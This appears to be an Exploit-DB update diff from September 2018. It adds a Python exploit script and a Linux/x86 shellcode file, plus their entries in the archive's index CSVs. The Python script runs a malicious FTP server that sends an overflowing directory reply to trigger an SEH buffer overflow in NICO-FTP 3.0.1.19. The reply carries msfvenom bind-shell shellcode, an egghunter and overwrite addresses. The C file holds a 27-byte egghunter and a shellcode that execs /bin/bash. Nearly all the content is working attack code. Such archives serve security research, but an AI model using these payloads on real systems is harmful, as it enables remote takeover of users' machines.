DB: 2018-09-21

2 changes to exploits/shellcodes

NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)

Linux/x86 - Egghunter (0x50905090) + sigaction() Shellcode (27 bytes)

exploits/windows_x86/local/45442.py

@@ -0,0 +1,65 @@
+# Exploit Title: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)
+# Author: Abdullah Alıç
+# Date: 2018-09-04
+# Software link: https://en.softonic.com/download/nico-ftp/windows/post-download
+# Tested Version: 3.0.1.19
+# Vulnerability Type: Buffer Overflow (SEH)
+# Tested on OS: Windows XP Professional SP3 x86 eng
+
+import socket
+import sys
+ 
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.bind(("0.0.0.0", 21))
+s.listen(5)
+        
+#msfvenom -p windows/shell_bind_tcp  -b "\x00\x0a\x0d" -f python
+#355 bytes
+buf =  ""
+buf += "\xba\xc6\xe4\x42\xd0\xd9\xea\xd9\x74\x24\xf4\x5e\x33"
+buf += "\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e\x03\x90\xea\xa0"
+buf += "\x25\xe0\x1b\xa6\xc6\x18\xdc\xc7\x4f\xfd\xed\xc7\x34"
+buf += "\x76\x5d\xf8\x3f\xda\x52\x73\x6d\xce\xe1\xf1\xba\xe1"
+buf += "\x42\xbf\x9c\xcc\x53\xec\xdd\x4f\xd0\xef\x31\xaf\xe9"
+buf += "\x3f\x44\xae\x2e\x5d\xa5\xe2\xe7\x29\x18\x12\x83\x64"
+buf += "\xa1\x99\xdf\x69\xa1\x7e\x97\x88\x80\xd1\xa3\xd2\x02"
+buf += "\xd0\x60\x6f\x0b\xca\x65\x4a\xc5\x61\x5d\x20\xd4\xa3"
+buf += "\xaf\xc9\x7b\x8a\x1f\x38\x85\xcb\x98\xa3\xf0\x25\xdb"
+buf += "\x5e\x03\xf2\xa1\x84\x86\xe0\x02\x4e\x30\xcc\xb3\x83"
+buf += "\xa7\x87\xb8\x68\xa3\xcf\xdc\x6f\x60\x64\xd8\xe4\x87"
+buf += "\xaa\x68\xbe\xa3\x6e\x30\x64\xcd\x37\x9c\xcb\xf2\x27"
+buf += "\x7f\xb3\x56\x2c\x92\xa0\xea\x6f\xfb\x05\xc7\x8f\xfb"
+buf += "\x01\x50\xfc\xc9\x8e\xca\x6a\x62\x46\xd5\x6d\x85\x7d"
+buf += "\xa1\xe1\x78\x7e\xd2\x28\xbf\x2a\x82\x42\x16\x53\x49"
+buf += "\x92\x97\x86\xe4\x9a\x3e\x79\x1b\x67\x80\x29\x9b\xc7"
+buf += "\x69\x20\x14\x38\x89\x4b\xfe\x51\x22\xb6\x01\x4c\xef"
+buf += "\x3f\xe7\x04\x1f\x16\xbf\xb0\xdd\x4d\x08\x27\x1d\xa4"
+buf += "\x20\xcf\x56\xae\xf7\xf0\x66\xe4\x5f\x66\xed\xeb\x5b"
+buf += "\x97\xf2\x21\xcc\xc0\x65\xbf\x9d\xa3\x14\xc0\xb7\x53"
+buf += "\xb4\x53\x5c\xa3\xb3\x4f\xcb\xf4\x94\xbe\x02\x90\x08"
+buf += "\x98\xbc\x86\xd0\x7c\x86\x02\x0f\xbd\x09\x8b\xc2\xf9"
+buf += "\x2d\x9b\x1a\x01\x6a\xcf\xf2\x54\x24\xb9\xb4\x0e\x86"
+buf += "\x13\x6f\xfc\x40\xf3\xf6\xce\x52\x85\xf6\x1a\x25\x69"
+buf += "\x46\xf3\x70\x96\x67\x93\x74\xef\x95\x03\x7a\x3a\x1e"
+buf += "\x33\x31\x66\x37\xdc\x9c\xf3\x05\x81\x1e\x2e\x49\xbc"
+buf += "\x9c\xda\x32\x3b\xbc\xaf\x37\x07\x7a\x5c\x4a\x18\xef"
+buf += "\x62\xf9\x19\x3a"
+
+nseh="\xEB\x80\x90\x90" # JMP BACK 128 bytes
+seh="\x84\x12\x40\x00" #POP-POP-RETN null byte is trivial 
+egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
+egg = "\x54\x30\x30\x57" #W00T
+
+junk = "\x90" * (2160-len(buf)-len(egghunter)) + egg + egg + buf +"\x90" * 100 + egghunter   + "\x90" * 7 + "\xEB\x80\x90\x90" +"\x84\x12\x40\x00" #junk total 2283 bytes
+
+buffer =junk
+
+while True:
+    conn, addr = s.accept()
+    conn.send('220 Malicious FTP server!\r\n')
+    print(conn.recv(1024))
+    conn.send("331 OK\r\n")
+    print(conn.recv(1024))
+    conn.send('230 OK\r\n')
+    print(conn.recv(1024))
+    conn.send('220 "'+buffer+'" is current directory\r\n')

files_exploits.csv

@@ -9982,6 +9982,7 @@ id,file,description,date,author,type,platform,port
 45407,exploits/linux/local/45407.txt,"Chrome OS 10820.0.0 dev-channel - app->VM via garcon TCP Command Socket",2018-09-13,"Google Security Research",local,linux,
 45412,exploits/windows_x86/local/45412.py,"Free MP3 CD Ripper 2.6 - '.wma' Local Buffer Overflow (SEH)",2018-09-14,"Gionathan Reale",local,windows_x86,
 45433,exploits/solaris/local/45433.rb,"Solaris - libnspr NSPR_LOG_FILE Privilege Escalation (Metasploit)",2018-09-18,Metasploit,local,solaris,
+45442,exploits/windows_x86/local/45442.py,"NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)",2018-09-20,"Abdullah Alıç",local,windows_x86,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139

files_shellcodes.csv

@@ -913,3 +913,4 @@ id,file,description,date,author,type,platform
 45417,shellcodes/linux_x86/45417.c,"Linux/86 - File Modification (/etc/hosts 127.1.1.1 google.com) + Polymorphic Shellcode (99 bytes)",2018-09-14,"Ray Doyle",shellcode,linux_x86
 45418,shellcodes/linux_x86/45418.c,"Linux/x86 - echo _Hello World_ + Random Bytewise XOR + Insertion Encoder Shellcode (54 bytes)",2018-09-14,"Ray Doyle",shellcode,linux_x86
 45426,shellcodes/arm/45426.c,"Linux/ARM - Jump Back Shellcode + execve(_/bin/sh__ NULL_ NULL) Shellcode (4 Bytes)",2018-09-18,"Ken Kitahara",shellcode,arm
+45441,shellcodes/linux_x86/45441.c,"Linux/x86 - Egghunter (0x50905090) + sigaction() Shellcode (27 bytes)",2018-09-20,"Valerio Brussani",shellcode,linux_x86

shellcodes/linux_x86/45441.c

@@ -0,0 +1,56 @@
+/*
+# Title: Linux/x86 - Egghunter + sigaction-based Shellcode (27 bytes)
+# Author:Valbrux
+# Date: 2018-09-19
+# This exploit is a dirty-slow but small version of the sigaction-based egg hunter shellcode
+
+global _start
+
+section .text
+
+;zeroing ecx
+xor ecx,ecx
+
+_start:
+	;increment
+	inc ecx
+	;sigaction syscall number
+	push byte 67
+	pop eax
+	;executing syscall
+	int 0x80
+	;if EFAULT
+	cmp al,0xf2
+	;page alignment
+	jz _start
+	;moving EGG
+	mov eax,0x50905090
+	;current address
+	mov edi,ecx
+	;checking current address with EGG two times
+	scasd
+	jnz _start
+	scasd
+	jnz _start
+	;if equals jump to shellcode
+	jmp edi
+
+*/
+
+#include <stdio.h>
+#include <string.h>
+#define EGG "\x90\x50\x90\x50"
+
+unsigned char code[] = EGG EGG"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
+
+//27 Bytes
+unsigned char egg[] = "\x31\xc9\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf6\xb8"EGG"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
+
+main()
+{
+	printf("Egg length: %d\n",strlen(egg));
+	printf("Shellcode lenght: %d\n",strlen(code));
+	int (*ret)() = (int(*)())egg;
+	ret();
+
+}